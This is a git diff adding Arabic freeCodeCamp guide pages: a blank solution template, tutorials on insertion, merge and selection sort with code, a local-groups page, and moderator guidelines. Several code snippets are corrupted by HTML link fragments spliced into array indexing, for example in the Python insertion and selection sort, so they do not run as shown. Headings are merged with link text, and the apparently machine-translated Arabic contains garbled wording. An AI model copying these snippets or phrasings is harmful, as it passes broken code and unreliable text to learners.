+![:triangular_flag_on_post:</a> Remember to use <a>**<code>Read-Search-Ask</code>**</a> if you get stuck. Try to pair program ![:busts_in_silhouette:](https://forum.freecodecamp.com/images/emoji/emoji_one/busts_in_silhouette.png?v=3 ": busts_in_silhouette:")
+
+### ![:checkered_flag:](https://forum.freecodecamp.com/images/emoji/emoji_one/checkered_flag.png?v=3 ":العلم متقلب:") شرح المشكلة:
+
+اشرح ما يتم طرحه ، بطريقة سهلة الفهم والتفصيلية.
+
+#### روابط ذات صلة
+
+*   [رابط العنوان 1](http://example.com)
+*   [رابط العنوان 2](http://example.com)
+*   [رابط العنوان 3](http://example.com)
+
+## ![:speech_balloon:](https://forum.freecodecamp.com/images/emoji/emoji_one/speech_balloon.png?v=3 ": speech_balloon:") تلميح: 1
+
+إضافة تلميح 1 هنا.
+
+> _حاول أن تحل المشكلة الآن_
+
+## ![:speech_balloon:](https://forum.freecodecamp.com/images/emoji/emoji_one/speech_balloon.png?v=3 ": speech_balloon:") تلميح: 2
+
+أضف تلميح 2 هنا.
+
+> _حاول أن تحل المشكلة الآن_
+
+## ![:speech_balloon:](https://forum.freecodecamp.com/images/emoji/emoji_one/speech_balloon.png?v=3 ": speech_balloon:") تلميح: 3
+
+أضف التلميح 3 هنا.
+
+> _حاول أن تحل المشكلة الآن_
+
+## تنبيه المفسد!
+
+![علامة تحذير](//discourse-user-assets.s3.amazonaws.com/original/2X/2/2d6c412a50797771301e7ceabd554cef4edcd74d.gif)
+
+**الحل في المستقبل!**
+
+## ![:beginner:](https://forum.freecodecamp.com/images/emoji/emoji_one/beginner.png?v=3 ":مبتدئ:") الحل الأساسي للكود:
+
+ `// write solution code here 
+` 
+
+![:rocket:](https://forum.freecodecamp.com/images/emoji/emoji_one/rocket.png?v=3 ":صاروخ:") [تشغيل الكود](https://repl.it/URL-HERE)
+
+### شرح الشفرة:
+
+اشرح الحل هنا وأضف أي روابط ذات صلة
+
+#### روابط ذات صلة
+
+*   [رابط العنوان 1](http://example.com)
+*   [رابط العنوان 2](http://example.com)
+*   [رابط العنوان 3](http://example.com)
+
+## ![:sunflower:](https://forum.freecodecamp.com/images/emoji/emoji_one/sunflower.png?v=3 ":دوار الشمس:") حل الشفرة المتوسطة:
+
+ `// write solution code here 
+` 
+
+![:rocket:](https://forum.freecodecamp.com/images/emoji/emoji_one/rocket.png?v=3 ":صاروخ:") [تشغيل الكود](https://repl.it/URL-HERE)
+
+### شرح الشفرة:
+
+اشرح الحل هنا وأضف أي روابط ذات صلة
+
+#### روابط ذات صلة
+
+*   [رابط العنوان 1](http://example.com)
+*   [رابط العنوان 2](http://example.com)
+*   [رابط العنوان 3](http://example.com)
+
+## ![:rotating_light:](https://forum.freecodecamp.com/images/emoji/emoji_one/rotating_light.png?v=3 ": rotating_light:") الحل المتقدم للكود:
+
+ `// write solution code here 
+` 
+
+![:rocket:](https://forum.freecodecamp.com/images/emoji/emoji_one/rocket.png?v=3 ":صاروخ:") [تشغيل الكود](https://repl.it/URL-HERE)
+
+### شرح الشفرة:
+
+اشرح الحل هنا وأضف أي روابط ذات صلة
+
+#### روابط ذات صلة
+
+*   [رابط العنوان 1](http://example.com)
+*   [رابط العنوان 2](http://example.com)
+*   [رابط العنوان 3](http://example.com)
+
+## ![:clipboard:](https://forum.freecodecamp.com/images/emoji/emoji_one/clipboard.png?v=3 ": الحافظة:") ملاحظات للمساهمات:
+
+*   ![:warning:](https://forum.freecodecamp.com/images/emoji/emoji_one/warning.png?v=3 ":تحذير:") **لا تقم** بإضافة حلول مشابهة لأي حلول موجودة. إذا كنت تعتقد أنها **_مشابهة ولكن أفضل_** ، فحاول دمج (أو استبدال) الحل المشابه الموجود.
+*   أضف شرحًا لحلك.
+*   تصنيف الحل في واحدة من الفئات التالية - **الأساسي** **والمتوسط** **والمتقدم** . ![:traffic_light:](https://forum.freecodecamp.com/images/emoji/emoji_one/traffic_light.png?v=3 ": traffic_light:")
+*   الرجاء إضافة اسم المستخدم الخاص بك فقط إذا قمت بإضافة أي **محتويات رئيسية ذات صلة** . ( ![:warning:](https://forum.freecodecamp.com/images/emoji/emoji_one/warning.png?v=3 ":تحذير:") **_لا_** _تزيل أي أسماء مستخدمين حالية_ )
+
+> نرى ![:point_right:](https://forum.freecodecamp.com/images/emoji/emoji_one/point_right.png?v=3 ": point_right:") **`Wiki Challenge Solution Template`** كمرجع.
\ No newline at end of file
diff --git a/client/src/guide/arabic/miscellaneous/freecodecamp-algorithm-insertion-sort-guide/index.md b/client/src/guide/arabic/miscellaneous/freecodecamp-algorithm-insertion-sort-guide/index.md
new file mode 100644
index 0000000000..39ca3b5537
--- /dev/null
+++ b/client/src/guide/arabic/miscellaneous/freecodecamp-algorithm-insertion-sort-guide/index.md
@@ -0,0 +1,101 @@
+---
+title: Freecodecamp Algorithm Insertion Sort Guide
+localeTitle: Freecodecamp خوارزمية الإدراج دليل فرز
+---
+فرز الإدراج هو [فرز يستند إلى _المقارنة_](https://en.wikipedia.org/wiki/Comparison_sort) . تستند خوارزمية الفرز إلى المقارنة ، إذا كانت تستخدم عوامل المقارنة (مثل `less than` و `greated than` ) للعثور على الترتيب بين رقمين.
+
+في تقنية الفرز هذه ، نحافظ دائمًا على قائمة فرعية تم فرزها في موضع أدنى من القائمة ، ثم نأخذ عنصرًا واحدًا من بقية القائمة ثم ندخله في المكان الصحيح. نحن نفعل ذلك حتى يتم إدراج جميع العناصر في القائمة الفرعية. على سبيل المثال ، أثناء لعب الورق نقوم بتصنيف البطاقات في يدنا. بدءا من اليسار والانتقال إلى اليمين ، نواصل إدخال البطاقة في المكان المناسب حتى النهاية.
+
+## مثال
+
+![ترتيب بالإدراج](//discourse-user-assets.s3.amazonaws.com/original/2X/2/289cddf207e54981a05b56d9c267d078ed827c8b.png)
+
+في المثال أعلاه ، يتم دائمًا فرز القائمة الفرعية `grey shaded` . يرجى ملاحظة أنه في البداية ، تحتوي القائمة الفرعية على عنصر واحد ، ويتم فرزها بشكل _بسيط_ . ثم في كل خطوة نقوم بإدخال العنصر الموجود في أقصى اليسار من القائمة الفرعية `white shaded` في الموضع الصحيح.
+
+ومن ثم ، قمنا بفرز القائمة الكاملة بهذه الطريقة.
+
+## خوارزمية
+
+ `Loop for i=0 to N-1: 
+ * Pick element array<a href='https://repl.it/CWZq' target='_blank' rel='nofollow'>i] and insert it into sorted sublist array[0...i-1] 
+` 
+
+## تعقيد
+
+ `Space complexity: O(1)      // Auxillary/temporary space is used. 
+ 
+ Time complexity: O(n*n)     // Two nested for loops are used. 
+` 
+
+## تنفيذ C ++
+
+ `// Function to sort an array using insertion sort 
+ void insertionSort(int arr[], int n) 
+ { 
+   int i, key, j; 
+   for (i = 1; i < n; i++) 
+   { 
+       key = arr[i]; 
+       j = i-1; 
+ 
+       /* Move elements of arr[0..i-1], that are greater than key, 
+      to one position ahead of their current position */ 
+   while (j >= 0 && arr[j] > key) 
+   { 
+       arr[j+1] = arr[j]; 
+       j = j-1; 
+   } 
+   arr[j+1] = key; // place element key at it's correct place 
+   } 
+ } 
+ 
+ int main() 
+ { 
+    // array to be sorted 
+    int arr[5] = {12, 11, 13, 5, 6}; 
+ 
+    // call the insertion sort 
+ insertionSort(arr, 5); 
+ 
+ // prints sorted array ie 5 6 11 12 13 
+ for(int i=0; i<5; i++) 
+    std::cout << arr[i] << " "; 
+ return 0; 
+ } 
+` 
+
+: rocket: \[Run Code ## Python Implementation
+
+ `# Function to perform insertion sort 
+ def insertionSort(arr): 
+    # Traverse through array 
+    for i in range(1, len(arr)): 
+        key = arr<a href='https://forum.freecodecamp.com/images/emoji/emoji_one/rocket.png?v=3 ":rocket:"' target='_blank' rel='nofollow'>i] 
+        # Move elements of arr[0..i-1], that are greater than key, 
+        # to one position ahead of their current position 
+        j = i-1 
+        while j>=0 and key < arr[j] : 
+                arr[j+1] = arr[j] 
+                j -= 1 
+        arr[j+1] = key # place element key at it's correct place 
+ 
+ # array to be sorted 
+ arr = [12, 11, 13, 5, 6] 
+ # call the insertion sort 
+ insertionSort(arr) 
+ # prints sorted array ie 5 6 11 12 13 
+ for i in range(len(arr)): 
+    print(arr[i],end = ' ') 
+` 
+
+![:rocket:](https://forum.freecodecamp.com/images/emoji/emoji_one/rocket.png?v=3 ":صاروخ:") [تشغيل الكود](https://repl.it/CWZi)
+
+## مزايا
+
+1.  كفاءة لمجموعة صغيرة من البيانات ومجموعة البيانات التي تم فرزها تقريبًا.
+2.  ببساطة تنفيذها.
+3.  في الغالب أفضل من نوع فقاعة وفرز الاختيار وتستخدم عموما مع نوع الدمج.
+
+## سلبيات
+
+1.  إنها أقل كفاءة على مجموعة كبيرة من البيانات من دمج الفرز ، وفرز الكومة ، والفرز السريع.
\ No newline at end of file
diff --git a/client/src/guide/arabic/miscellaneous/freecodecamp-algorithm-merge-sort-guide/index.md b/client/src/guide/arabic/miscellaneous/freecodecamp-algorithm-merge-sort-guide/index.md
new file mode 100644
index 0000000000..148d367247
--- /dev/null
+++ b/client/src/guide/arabic/miscellaneous/freecodecamp-algorithm-merge-sort-guide/index.md
@@ -0,0 +1,141 @@
+---
+title: Freecodecamp Algorithm Merge Sort Guide
+localeTitle: Freecodecamp خوارزمية دمج دليل فرز
+---
+تحتوي معظم اللغات الحديثة على وظيفة sort () مصنفة داخليًا والتي تقوم تلقائيًا بفرز مجموعة أو قائمة مدخلات. هل تساءلت يومًا كيف تعمل وظيفة الفرز بالفعل في الداخل؟ معرفة خوارزميات الفرز الشائعة وتطبيقها هو الجزء الأكثر أهمية في مقابلة الترميز. في سلسلة المقالات هذه ، سنلقي نظرة على عدة خوارزميات فرز مهمة. كيف يتم تنفيذها ، وتعقيد الوقت والفضاء إلخ. أول مشاركة لدينا هي على "فرز دمج".
+
+لمعرفة المزيد حول "دمج الفرز" ، تعتبر معرفة أساسية حول [Recursion](http://programmers.stackexchange.com/questions/25052/in-plain-english-what-is-recursion) شرطاً مسبقاً. يعتمد دمج المزيج على مبدأ Divide و Conquer. يمكن تلخيص العملية الكاملة لفرز مجموعة من الأعداد الصحيحة N في ثلاث خطوات-
+
+*   تقسيم المصفوفة إلى نصفين.
+*   فرز النصف الأيسر والنصف الأيمن باستخدام نفس الخوارزمية المتكررة.
+*   دمج الأنصاف المفروزة.
+
+أكبر ميزة استخدام الفرز دمج هو أن [تعقيد الوقت](https://www.youtube.com/watch?v=V42FBiohc6c&list=PL2_aWCzGMAwI9HK8YPVBjElbLbI3ufctn) هو فقط n \* log (n) لفرز مصفوفة بالكامل. إنه أفضل بكثير من وقت تشغيل n ^ 2 لفرز الفقاعة أو نوع الإدراج.
+
+قبل كتابة الرمز ، دعونا نفهم كيف يعمل نوع الدمج بمساعدة رسم تخطيطي.
+
+![دمج التصنيف](//discourse-user-assets.s3.amazonaws.com/original/2X/4/4712ef1a5d856dbb4af393fcc08a820a38787395.png)
+
+*   في البداية لدينا مجموعة من 6 أعداد صحيحة لم يتم فرزها Arr (5 ، 8 ، 3 ، 9 ، 1 ، 2)
+*   نحن تقسيم المصفوفة إلى نصفين Arr1 = (5 ، 8 ، 3) و Arr2 = (9 ، 1 ، 2).
+*   مرة أخرى ، نقسمها إلى نصفين: Arr3 = (5 ، 8) و Arr4 = (3) و Arr5 = (9 ، 1) و Arr6 = (2)
+*   مرة أخرى ، نقسمها إلى نصفين: Arr7 = (5) ، Arr8 = (8) ، Arr9 = (9) ، Arr10 = (1) و Arr6 = (2)
+*   سنقوم الآن بمقارنة العناصر في هذه المصفوفات الفرعية لدمجها.
+
+## التنفيذ
+
+### تنفيذ C ++
+
+ `void merge(int array[], int left, int mid, int right) 
+ { 
+    int i, j, k; 
+ 
+    // Size of left sublist 
+ int size_left = mid - left + 1; 
+ 
+ // Size of right sublist 
+ int size_right =  right - mid; 
+ 
+ /* create temp arrays */ 
+ int Left[size_left], Right[size_right]; 
+ 
+ /* Copy data to temp arrays L[] and R[] */ 
+ for(i = 0; i < size_left; i++) 
+ { 
+    Left[i] = array[left+i]; 
+ } 
+ 
+ for(j = 0; j < size_right; j++) 
+ { 
+    Right[j] = array[mid+1+j]; 
+ } 
+ 
+ // Merge the temp arrays back into arr[left..right] 
+ i = 0; // Initial index of left subarray 
+ j = 0; // Initial index of right subarray 
+ k = left; // Initial index of merged subarray 
+ 
+ while (i < size_left && j < size_right) 
+ { 
+    if (Left[i] <= Right[j]) 
+    { 
+        array[k] = Left[i]; 
+        i++; 
+    } 
+    else 
+    { 
+        array[k] = Right[j]; 
+        j++; 
+    } 
+    k++; 
+ } 
+ 
+ // Copy the remaining elements of Left[] 
+ while (i < size_left) 
+ { 
+    array[k] = Left[i]; 
+    i++; 
+    k++; 
+ } 
+ 
+ // Copy the rest elements of R[] 
+ while (j < size_right) 
+ { 
+    array[k] = Right[j]; 
+    j++; 
+    k++; 
+ } 
+ } 
+ 
+ void mergeSort(int array[], int left, int right) 
+ { 
+    if(left < right) 
+    { 
+        int mid = (left+right)/2; 
+ 
+        // Sort first and second halves 
+    mergeSort(array, left, mid); 
+    mergeSort(array, mid+1, right); 
+ 
+    // Finally merge them 
+    merge(array, left, mid, right); 
+ } 
+ } 
+` 
+
+![:rocket:](https://forum.freecodecamp.com/images/emoji/emoji_one/rocket.png?v=3 ":صاروخ:") [تشغيل الكود](https://repl.it/CYVc/1)
+
+### تطبيق جافا سكريبت
+
+دعونا نكتب MergeSort في JavaScript:
+
+ `function mergeSort (arr) { 
+  if (arr.length < 2) return arr; 
+  var mid = Math.floor(arr.length /2); 
+  var subLeft = mergeSort(arr.slice(0,mid)); 
+  var subRight = mergeSort(arr.slice(mid)); 
+  return merge(subLeft, subRight); 
+ } 
+` 
+
+أولا نتحقق من طول الصفيف. إذا كانت 1 ، فإننا ببساطة نعيد المصفوفة. هذه ستكون قاعدتنا. عدا ذلك ، سنكتشف القيمة المتوسطة ونقسم المصفوفة إلى نصفين. سنقوم الآن بفرز كل من نصفين مع مكالمات متكررة إلى دالة MergeSort.
+
+ `function merge (a,b) { 
+    var result = []; 
+    while (a.length >0 && b.length >0) 
+        result.push(a[0] < b[0]? a.shift() : b.shift()); 
+    return result.concat(a.length? a : b); 
+ } 
+` 
+
+عندما نقوم بدمج النصفين ، نقوم بتخزين النتيجة في مصفوفة مساعدة. سنقوم بمقارنة عنصر البداية للمصفوفة اليسرى بعنصر البداية للمصفوفة اليمنى. أيهما أقل سيتم دفعه إلى صفيف النتائج وسوف نقوم بإزالته من المصفوفات الخاصة به باستخدام عامل التشغيل \[shift (). إذا كنا لا نزال ننتهي بقيم في أي من الصفوف اليسرى أو اليمنى ، فإننا ببساطة سنسلسلها في نهاية النتيجة. هنا هي النتيجة مرتبة:
+
+ `var test = [5,6,7,3,1,3,15]; 
+ console.log(mergeSort(test)); 
+ 
+ >> [1, 3, 3, 5, 6, 7, 15] 
+` 
+
+![:rocket:](https://forum.freecodecamp.com/images/emoji/emoji_one/rocket.png?v=3 ":صاروخ:") [تشغيل الكود](https://repl.it/CYVd)
+
+إذا كنت لا تزال تواجه مشكلة في فهم MergeSort ، فإن [شرح الفيديو](https://www.youtube.com/watch?v=TzeBrDU-JaY) سيجعل الأمر أكثر وضوحًا.
\ No newline at end of file
diff --git a/client/src/guide/arabic/miscellaneous/freecodecamp-algorithm-selection-sort-guide/index.md b/client/src/guide/arabic/miscellaneous/freecodecamp-algorithm-selection-sort-guide/index.md
new file mode 100644
index 0000000000..24e029b600
--- /dev/null
+++ b/client/src/guide/arabic/miscellaneous/freecodecamp-algorithm-selection-sort-guide/index.md
@@ -0,0 +1,80 @@
+---
+title: Freecodecamp Algorithm Selection Sort Guide
+localeTitle: دليل اختيار خوارزمية Freecodecamp
+---
+تقوم خوارزمية فرز التحديد بفرز صفيف من خلال البحث المتكرر عن الحد الأدنى للعنصر (مع مراعاة الترتيب التصاعدي) من الجزء الذي لم يتم فرزه ووضعه في البداية. يحافظ الخوارزمية على اثنين من subarrays في مجموعة معينة.  
+1\. subarray التي تم فرزها بالفعل.  
+2\. ما تبقى من subarray التي لم يتم فرزها.
+
+في كل تكرار فرز الفرز ، يتم اختيار الحد الأدنى للعنصر (اعتبارًا للترتيب التصاعدي) من المجموعة الفرعية التي لم يتم فرزها ونقلها إلى الفئة الفرعية التي تم فرزها.
+
+## مثال
+
+[الرسوم المتحركة من SelectionSort](http://www.sorting-algorithms.com/selection-sort)
+
+ `arr<a href='https://repl.it/CZa0' target='_blank' rel='nofollow'>] = 64 25 12 22 11 
+ 
+ # Placing the minimum element in arr[0...4] in the beginning 
+ 11 25 12 22 64 
+ 
+ # Placing the minimum element in arr[1...4] in the beginning 
+ 11 12 25 22 64 
+ 
+ # Placing the minimum element in arr[2...4] in the beginning 
+ 11 12 22 25 64 
+ 
+ # Placing the minimum element in arr[3...4] in the beginning 
+ 11 12 22 25 64 
+` 
+
+#### تنفيذ C ++
+
+ `void selection_sort(int array[], int n) 
+ { 
+    // Contains index of minimum element in unsorted subarray 
+    int min_index; 
+ 
+    // Move boundary of unsorted subarray 
+ for(int i = 0; i < n-1; i++) 
+ { 
+    // Find the minimum element in unsorted subarray 
+    min_index = i; 
+    for(int j = i+1; j < n; j++) 
+    { 
+        // If present element is less than element at min_index 
+        // Then change min_index to present index 
+        if(array[j] < array[min_index]) 
+        { 
+            min_index = j; 
+        } 
+    } 
+ 
+    // Swap the element at min_index with the first element 
+    int temp; 
+    temp = array[min_index]; 
+    array[min_index] = array[i]; 
+    array[i] = temp; 
+ } 
+ } 
+` 
+
+: صاروخ: \[تشغيل رمز Python التنفيذ
+
+ `def selection_sort(arr): 
+    for i in range(len(arr)): 
+        min_x = i 
+        for j in range(i+1,len(arr)): 
+            if arr<a href='https://forum.freecodecamp.com/images/emoji/emoji_one/rocket.png?v=3 ":rocket:"' target='_blank' rel='nofollow'>j] < arr[min_x]: 
+                min_x = j 
+        arr[min_x], arr[i] = arr[i], arr[min_x] 
+ 
+ arr = [64, 25, 12, 22, 11] 
+ selection_sort(arr) 
+ print(arr) # Prints [11, 12, 22, 25, 64] 
+` 
+
+![:rocket:](https://forum.freecodecamp.com/images/emoji/emoji_one/rocket.png?v=3 ":صاروخ:") [تشغيل الكود](https://repl.it/CXwQ)
+
+#### [تعقيد الخوارزمية](https://www.freecodecamp.com/videos/big-o-notation-what-it-is-and-why-you-should-care)
+
+**تعقيد الوقت:** O (n \* n) بسبب الحلقتين المتداخلتين.
\ No newline at end of file
diff --git a/client/src/guide/arabic/miscellaneous/freecodecamp-city-based-local-groups/index.md b/client/src/guide/arabic/miscellaneous/freecodecamp-city-based-local-groups/index.md
new file mode 100644
index 0000000000..2ceede468f
--- /dev/null
+++ b/client/src/guide/arabic/miscellaneous/freecodecamp-city-based-local-groups/index.md
@@ -0,0 +1,15 @@
+---
+title: Freecodecamp City Based Local Groups
+localeTitle: المجموعات المحلية القائمة على مدينة Freecodecamp
+---
+### الخطوة 1) انضم [إلى مجموعة Facebook على freeCodeCamp على مستوى الكرة الأرضية](https://www.facebook.com/groups/freeCodeCampEarth/) .
+
+### الخطوة 2) ابحث عن مدينتك في القائمة أدناه لأكثر من 1000 مجموعة محلية.
+
+### الخطوة 3) انضم إلى مجموعة Facebook المحلية الخاصة بك.
+
+إذا كنت لا ترى مدينتك على قائمة المجموعات أدناه ، وكنت على استعداد لقيادة مجموعة Facebook لمدينتك ، فإليك كيفية [إنشاء مجموعتك المحلية الخاصة](http://forum.freecodecamp.com/t/how-to-create-a-local-group-for-your-city/19532) .
+
+يرجى ملاحظة أن جميع المجموعات المحلية غير رسمية ويتم تشغيلها بشكل مستقل من قبل أعضاء مجتمع freeCodeCamp. لا تنتسب هذه المجموعات المحلية إلى المنظمة التي تستضيف freecodecamp.com ، Free Code Camp، Inc ، والتي لا تتحكم أو تصادق على ما يفعله أعضاء المجموعة المحلية ومنظموها بمفردهم.
+
+![](//discourse-user-assets.s3.amazonaws.com/original/3X/0/a/0aff361f8a6995c5d5c24e05f34e16347bd738e4.png)
\ No newline at end of file
diff --git a/client/src/guide/arabic/miscellaneous/freecodecamp-moderator-guidelines/index.md b/client/src/guide/arabic/miscellaneous/freecodecamp-moderator-guidelines/index.md
new file mode 100644
index 0000000000..55872f3c6b
--- /dev/null
+++ b/client/src/guide/arabic/miscellaneous/freecodecamp-moderator-guidelines/index.md
@@ -0,0 +1,255 @@
+---
+title: Freecodecamp Moderator Guidelines
+localeTitle: إرشادات المشرف Freecodecamp
+---
+# أركان الاعتدال
+
+وقبل كل شيء ، تذكر أن غرضك كمشرف هو خدمة مجتمعنا:
+
+*   استمع
+*   كن متعاونا
+*   لا تسيء استخدام قوتك
+
+# تعديل جيتر
+
+في ما يلي كيفية تعامل المشرفين مع انتهاكات [مدونة السلوك الخاصة بنا](https://www.freecodecamp.com/code-of-conduct) على Gitter:
+
+1.  يحظر المشرفون الشخص المخالف على الفور.
+    
+2.  ثم يرسل لهم المشرفون هذه الرسالة:
+    
+    > هذه رسالة قياسية لإعلامك بأنني اضطررت لحظرك مؤقتًا من غرف الدردشة في freeCodeCamp.
+    > 
+    > أنا منسق يعمل بالنيابة عن مجتمع المصدر المفتوح لدينا. يمكنني التفكير في تحريمك ، لكني أريدك أن تفعل شيئًا أولاً.
+    > 
+    > 1\. اقرأ [**`Code of Conduct`**]([https://www.freecodecamp.com/code-of-conduct) ).  
+    > 2\. يرجى التأكد من أنك قرأته.  
+    > 3\. اشرح لي لماذا تعتقد أنني حرمتك.
+    
+3.  بناء على ردهم ، سوف يقرر المشرفون ما إذا كانوا سيحظرون المخيم المسيء. إذا لم يتم حظر الكارثة المخالفة من قبل هذا المشرف من قبل ، وإذا كانت تبدو محترمة ومعتذرة ، يمكن للمشرف أن يحلها. كمسألة سياسة ، سيكون المشرفون مهذبين خلال هذه العملية ، بغض النظر عن مدى سوء تصرف العربة المخالفة.
+    
+4.  سيقوم المشرفون بإعداد ملخص قصير للحدث وكيفية استجابته في [غرفة المشرف](https://gitter.im/freeCodeCamp/admin) . في ما يلي مثال لما قد تبدو عليه هذه الملخصات:
+    
+    > أنا المحظورة @اسم المستخدم لإغراقهم وإرسالهم مدونة السلوك. وقالوا إنهم آسفون وأنهم لم يدركوا بصدق ما كانوا يفعلونه واعتبره سبام. أنا منعتهم.
+    > 
+    > أنا غير محظور @اسم المستخدم . لقد أرسلت لهم مدونة السلوك. أدركوا اليوم فقط أنهم منعوا واعتذروا عما فعلوه.
+    > 
+    > لقد حظرت @اسم المستخدم للتحرش. لقد أصابني بالسوء أوصيك بالاتصال بـ Gitter للحصول على حظر عالمي.
+    
+
+لحظر شخص ما ، اكتب ما يلي في غرفة الدردشة:
+
+> `/ban @username`
+
+إذا تعاونوا ، فيمكنك لاحقًا إلغاء حظرهم باستخدام:
+
+> `/unban @username`
+
+هذا يعمل فقط لتلك الغرفة المفردة ، لذلك قد تحتاج إلى حظرها أكثر من مكان واحد.
+
+إذا استمر العربة في القفز من غرفة إلى أخرى متسببة في المشاكل ، يمكن للمراقبين طلب حظر عالمي في [غرفة الإدارة](https://gitter.im/freecodecamp/admin) .
+
+### حذف رسائل Gitter
+
+لدى المشرفين القدرة على حذف الرسائل على Gitter. يجب عليهم فقط ممارسة هذه القدرة في ثلاث حالات محددة للغاية:
+
+1.  نشر شخص ما صورة إباحية أو عنيفة بيانياً.
+2.  نشر شخص ما رابطًا أو رمزًا ضارًا بطبيعته ، ويمكن أن يلحق الضرر بالمشاركين الآخرين الذين ينقرون عليه.
+3.  لقد غمر أحد الأشخاص الدردشات بالكثير من الرسائل غير المرغوب فيها إلى أقصى حد (عادةً ما يتعلق بالبوتات) ليجعل الدردشة غير صالحة للاستعمال تمامًا.
+
+في جميع المواقف الأخرى - حتى الحالات التي يتم فيها انتهاك مدونة السلوك - يجب ألا يحذف المشرفون الرسالة لأن هذه هي سجل تاريخي مهم.
+
+### لا تستخدم `@/all`
+
+لا تستخدم _`@/all`_ تحت أي ظرف من الظروف. سيتلقى كل شخص في غرفة الدردشة هذه إشعارًا. في بعض الحالات ، عشرات الآلاف من الناس.
+
+بدلاً من ذلك ، إذا كنت تريد أن يشاهد الأشخاص إعلانًا ، فاستخدم حجم نص العنوان. يمكنك القيام بذلك بوضع `#` أمام جملتك الأولى.
+
+### لا تحذر أو تهدد بالحظر
+
+إذا كان شخص ما يخرق مدونة السلوك ، فلا تحذرهم أو تهدد بحظرهم. وبدلاً من ذلك ، قم بمنعهم بهدوء ، ثم أرسل لهم رسالة خاصة ومتابعة وفقًا للبروتوكول أعلاه. لا يحتاج أي شخص آخر في الغرفة إلى معرفة أنك قمت بحظر هذا الشخص.
+
+### لا تفكر في أن تكون مشرفًا
+
+لا ترى نفسك على النحو الوارد أعلاه في المجتمع. أنت المجتمع. وقد وثقك المجتمع في المساعدة على حماية شيء نادر نشترك فيه جميعًا - مكانًا ترحيبيًا للمطورين الجدد.
+
+إذا كنت تتفاخر بكونك وسيطا ، قد يشعر الناس بعدم الارتياح من حولك ، بنفس الطريقة التي قد يشعر بها الناس بعدم الارتياح حول ضابط شرطة ، حتى لو لم يفعلوا شيئًا خاطئًا. هذه هي الطبيعة البشرية فقط.
+
+### لا تتعارض مع المشرفين الآخرين
+
+إذا كنت لا توافق على تصرف المشرف ، فتحدث معه على انفراد أو تحدث معه في دردشة الدردشة. لا تقم أبداً بتجاوز الحظر. وبدلاً من ذلك ، قم بمناقشة باردة في دردشة معيّنة ، وأقنع المشرف بأنهم هم أنفسهم يجب أن يوقفوا الحظر.
+
+تذكر: نحن جميعا في نفس الفريق. نريد أن نكرم دور المشرفين وأن نقدم جبهة موحدة.
+
+# الإشراف على GitHub
+
+المشرفون عبارة عن متطوعين لديهم القدرة على إغلاق المشكلات وقبول طلبات السحب أو رفضها.
+
+على المشرفين مسؤوليات أساسية فيما يتعلق بـ GitHub:
+
+1.  تقييم والاستجابة للقضايا
+2.  QA'ing ودمج طلبات السحب
+
+### تقييم ورصد القضايا
+
+freeCodeCamp هو مشروع مفتوح المصدر النشط. نحصل على العشرات من القضايا كل يوم ، وكلها تحتاج إلى أن يتم تصنيفها ووضع علامات عليها.
+
+هناك عدة فئات عامة من المشكلات:
+
+1.  **طلبات التعليمات البرمجية** ، والتي لا تتناسب مع المشكلات.  
+    إذا كانت هناك مشكلة بوضوح في طلب شخص للمساعدة ، فاضغط على الرسالة التالية ، ثم أغلق المشكلة.
+    
+    > شكرًا لك على الإبلاغ عن هذه المشكلة.
+    > 
+    > هذه رسالة قياسية تُعلمك بأن هذه المشكلة تبدو طلبًا للمساعدة. بدلاً من طلب المساعدة هنا ، الرجاء النقر فوق الزر **"تعليمات"** على التحدي الموجود على freeCodeCamp ، والذي سينقلك إلى غرفة المحادثة المساعدة لهذا التحدي المحدد. يمكنك أيضًا عرض قائمتنا [**الكاملة من غرف الدردشة الرسمية**](https://forum.freecodecamp.com/t/free-code-camp-official-chat-rooms/19390) ).
+    > 
+    > إذا كنت تعتقد أنني مخطئ في إغلاق هذه المشكلة ، فيرجى إعادة فتحها وإضافة مزيد من التوضيح. شكرا لك ، والترميز سعيدة.
+    
+2.  **مشكلات الأخطاء أو التوضيح** تأكد من خلل نفسك إن أمكن. اطلب تفاصيل إضافية عند الضرورة ، مثل خطوات إعادة الإنشاء. حالما يتم إعادة إنتاج هذه القضية - أو على الأقل اعتبارها شرعية - تم `confirmed` . ثم:
+    
+    *   إذا كان تغييرًا بسيطًا على أحد التحديات الحالية ، فضع العلم `help wanted` و ، اختياريًا ، `first-timers-only` . استخدم علامات أخرى حسب الاقتضاء.
+        
+    *   إذا كانت المشكلة أكثر أهمية ، فضع علامة على أنها `bug` .
+        
+    *   [دليل استخدام التسمية](https://forum.freecodecamp.com/t/free-code-camp-issue-labels/19556)
+        
+        إذا كان هناك أي غموض فيما يتعلق بمسار العمل الصحيح بشأن قضية ما ، **`@freeCodeCamp/moderators`** تتردد في وضع علامة على **`@freeCodeCamp/moderators`** للحصول على آراء من مشرفين آخرين. علم `Discussing` .
+        
+3.  **المشكلات المكررة** إذا كانت المشكلة مماثلة لمشكلة أخرى تم الإبلاغ عنها ، فيجب أن تكون الأولوية للأشكال السابقة التي تم الإبلاغ عنها. في حالة `Duplicate` ، قم بلصق الرسالة التالية لاستبدال `#XXXXX` برقم المشكلة ، ثم أغلق المشكلة.
+    
+    > شكرًا لك على الإبلاغ عن هذه المشكلة.
+    > 
+    > هذه رسالة قياسية تُعلمك بأن هذه المشكلة تبدو متشابهة جدًا مع المسألة #XXXXX ، لذا فأنا أقوم بإغلاقها كإصدار مكرر.
+    > 
+    > إذا كنت تعتقد أنني مخطئ في إغلاق هذه المشكلة ، فيرجى إعادة فتحها وإضافة مزيد من التوضيح. شكرا لك ، والترميز سعيدة.
+    
+4.  **ثابت في التجهيز** تم إصلاح بعض المشكلات في التدريج ، ولكن ليس لديك مشكلة أخرى في نفس الموضوع. الصق الرسالة التالية ، ثم أغلق المشكلة:
+    
+    > شكرًا لك على الإبلاغ عن هذه المشكلة.
+    > 
+    > هذه رسالة قياسية تعلمك بوجود هذه المشكلة في الإنتاج ، ولكن تم إصلاحها في التدريج. وبسبب ذلك ، أغلق هذه المشكلة. عند الدفع إلى الإنتاج مرة أخرى ، سيتم حل مشكلتك.
+    > 
+    > إذا كنت تعتقد أنني مخطئ في إغلاق هذه المشكلة ، فيرجى إعادة فتحها وإضافة مزيد من التوضيح. شكرا لك ، والترميز سعيدة.
+    
